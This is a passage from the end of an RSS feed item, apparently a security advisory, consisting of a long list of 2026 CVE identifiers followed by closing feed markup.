CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185, CVE-2026-64218,
CVE-2026-64219, CVE-2026-64220, CVE-2026-64221)]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 1,22ms -->